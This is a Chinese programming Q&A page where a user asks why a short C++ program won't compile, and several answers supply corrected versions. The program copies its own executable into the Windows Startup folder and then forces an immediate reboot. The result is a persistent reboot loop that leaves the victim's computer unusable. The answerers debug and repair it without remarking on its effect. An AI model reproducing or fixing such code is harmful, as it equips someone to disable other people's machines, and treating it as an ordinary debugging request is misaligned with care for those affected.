当前位置:编程学习 > C/C++ >>

C++代码求挑错。

编译器显示程序有错误,但我查不出来了...

各位给看看。


#include "windows.h"
#include "stdio.h"

  void main(int argc,char * argv[])

  {

  //printf("%s\n",argv[i]);

  char copy[80];

  sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);

  system(copy);

  //char cmd[]="shutdown -r -t 0";

  char cmd[]="shutdown -r -t 0";

  system(cmd);

  system("pause");

  }

答案:

用这个即可:

 

#include "windows.h"
#include "stdio.h"
#include "stdlib.h"

void main(int argc,char * argv[])
{
 //printf("%s\n",argv[i]);
 char copy[80];
 sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
 system(copy);
 //char cmd[]="shutdown -r -t 0";
 char cmd[]="shutdown -r -t 0";
 system(cmd);
 system("pause");
}

main函数的返回值应该是int型,把void改为int,程序最后加上return 0;试试
中间有全角空格,删除就行
程序代码看似无问题,报什么错误?
c盘只读,所以路径不能用?
运行的时候没带参数?

正确的写法应该是这样的

#include "windows.h"
#include "stdio.h"
#include "stdlib.h"

int main(int argc,char * argv[])
{

     char copy[80];
     sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
     system(copy);
     char cmd[]="shutdown -r -t 0";
     system(cmd);
     system("pause");
     return 1;
}

上一个:C++代码的含义
下一个:AJAX向DIV写入HTML,但是在页面的查看源码里看不到代码

CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,